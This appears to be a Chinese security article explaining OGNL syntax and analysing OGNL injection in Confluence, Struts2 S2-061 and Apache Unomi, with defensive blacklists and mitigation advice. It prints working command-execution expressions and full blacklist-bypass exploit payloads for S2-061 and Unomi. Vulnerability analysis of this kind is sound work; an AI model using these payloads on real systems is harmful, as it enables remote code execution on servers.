一文读懂OGNL漏洞
字数 1944 2025-08-03 10:57:24
OGNL漏洞深入分析与利用指南
0x00 OGNL基础概念
什么是OGNL
OGNL(Object-Graph Navigation Language)是一种对象图导航语言,用于存取Java对象的任意属性、调用Java对象的方法以及实现类型转换等。
对象图示例:
class SchoolMaster { String name = "wanghua"; }
class School { String name = "tsinghua"; SchoolMaster schoolMaster; }
class Student { String name = "xiaoming"; School school; }
通过对象图可以获取到对象的属性甚至对象的方法:
student.name→ "xiaoming"student.school.name→ "tsinghua"student.school.schoolMaster.name→ "wanghua"
OGNL三要素
- 表达式(expression):规定OGNL需要执行什么操作
- 根对象(root):OGNL的操作对象
- 上下文(context):以Map结构描述对象运行环境
基本使用示例:
// 创建上下文环境
OgnlContext context = new OgnlContext();
context.setRoot(student1); // 设置根对象
context.put("student2", student2); // 设置非根对象
// 获取根对象属性
Object name1 = Ognl.getValue("name", context, context.getRoot());
Object school1 = Ognl.getValue("school.name", context, context.getRoot());
// 获取非根对象属性
Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());
0x01 OGNL表达式语法
特殊符号用法
-
.:获取对象属性或方法student.namestudent.school.namestudent.takingClasses("英语")
-
@:访问静态对象/方法/变量@java.lang.System@getProperty("user.dir")@java.lang.Math@abs(-111)
-
#:访问非根对象#student.name#student.takingClasses("英语")
-
%:标志属性为字符串时计算OGNL表达式 -
$:在配置文件中引用OGNL表达式
集合表达式
-
创建实例:
new java.lang.String("testnew")
-
列表:
{1,3,5}[1]→ 3
-
数组:
new int[]{1,3,5}[0]→ 1
-
Map:
#{"name":"xiaoming","school":"tsinghua"}["school"]→ "tsinghua"
0x02 OGNL命令执行分析
基本命令执行表达式
@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
OGNL低版本(2.7.3)执行流程
- 将表达式解析为语法树(AST),每个节点都是ASTChain实例
- 调用
SimpleNode.getValue()处理 - 通过
SimpleNode.evaluateGetValueBody()计算结果 - 对于静态方法调用
ASTStaticMethod.getValueBody() - 最终通过
Method.invoke()执行方法
OGNL高版本(≥3.1.25/3.2.12)防护
在OgnlRuntime.invokeMethod()中添加了黑名单检查:
if (ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
Runtime.class.isAssignableFrom(methodDeclaringClass) ||
ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
ProcessBuilder.class.isAssignableFrom(methodDeclaringClass)) {
throw new IllegalAccessException("Method cannot be called...");
}
0x03 典型OGNL漏洞分析
1. Confluence CVE-2021-26084
漏洞点:
- Velocity模板引擎处理
queryString参数时OGNL注入 - 使用的OGNL版本(2.6.5)无方法调用黑名单
绕过原理:
- 黑名单检查
containsUnsafeExpression()不检查["class"] ASTConst类型的"class"不会被检查
防护黑名单:
UNSAFE_NODE_TYPES = {"ognl.ASTStaticMethod", "ognl.ASTStaticField", "ognl.ASTCtor", "ognl.ASTAssign"}
UNSAFE_PROPERTY_NAMES = {"class", "classLoader"}
UNSAFE_METHOD_NAMES = {"getClass()", "getClassLoader()"}
UNSAFE_VARIABLE_NAMES = {"#_memberAccess", "#context", "#request", ...}
2. Struts2 CVE-2020-17530 (S2-061)
防护机制:
struts-default.xml中的黑名单:<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime,..."/> <constant name="struts.excludedPackageNames" value="ognl.,java.io.,..."/>SecurityMemberAccess类加载黑名单- OGNL运行时方法调用黑名单
绕过Payload:
%{
(#instancemanager=#application["org.apache.tomcat.InstanceManager"])
.(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"])
.(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap"))
.(#bean.setBean(#stack))
.(#context=#bean.get("context"))
.(#bean.setBean(#context))
.(#access=#bean.get("memberAccess"))
.(#bean.setBean(#access))
.(#emptyset=#instancemanager.newInstance("java.util.HashSet"))
.(#bean.put("excludedClasses",#emptyset))
.(#bean.put("excludedPackageNames",#emptyset))
.(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute"))
.(#cmd={'whoami'}).(#execute.exec(#cmd))
}
绕过思路:
- 通过
InstanceManager实例化类 - 获取并操作
ValueStack和SecurityMemberAccess - 清空
excludedClasses和excludedPackageNames绕过Struts2黑名单 - 使用
freemarker.template.utility.Execute执行命令
3. Apache Unomi CVE-2020-13942
漏洞点:
PropertyConditionEvaluator.getPropertyValue()中OGNL表达式注入- 使用OGNL 3.2.14版本,需绕过方法调用黑名单
绕过Payload:
(#runtimeclass = #this.getClass().forName("java.lang.Runtime"))
.(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0])
.(#rtobj = #getruntimemethod.invoke(null,null))
.(#execmethod = #runtimeclass.getDeclaredMethods()
.{? #this.name.equals("exec")
&& #this.getParameters()[0].getType().getName().equals("java.lang.String")
&& #this.getParameters().length < 2}[0])
.(#execmethod.invoke(#rtobj,"touch /tmp/ognl"))
绕过思路:
- 通过
Class和Method反射绕过黑名单 - 使用
getDeclaredMethods()和条件筛选获取方法 - 通过
invoke()执行方法
0x04 防护建议
- 使用OGNL最新版本(≥3.2.18)
- 添加额外的黑名单防护:
- 禁止关键类和方法调用
- 限制表达式复杂度
- 避免用户输入直接作为OGNL表达式
- 对表达式进行严格过滤和校验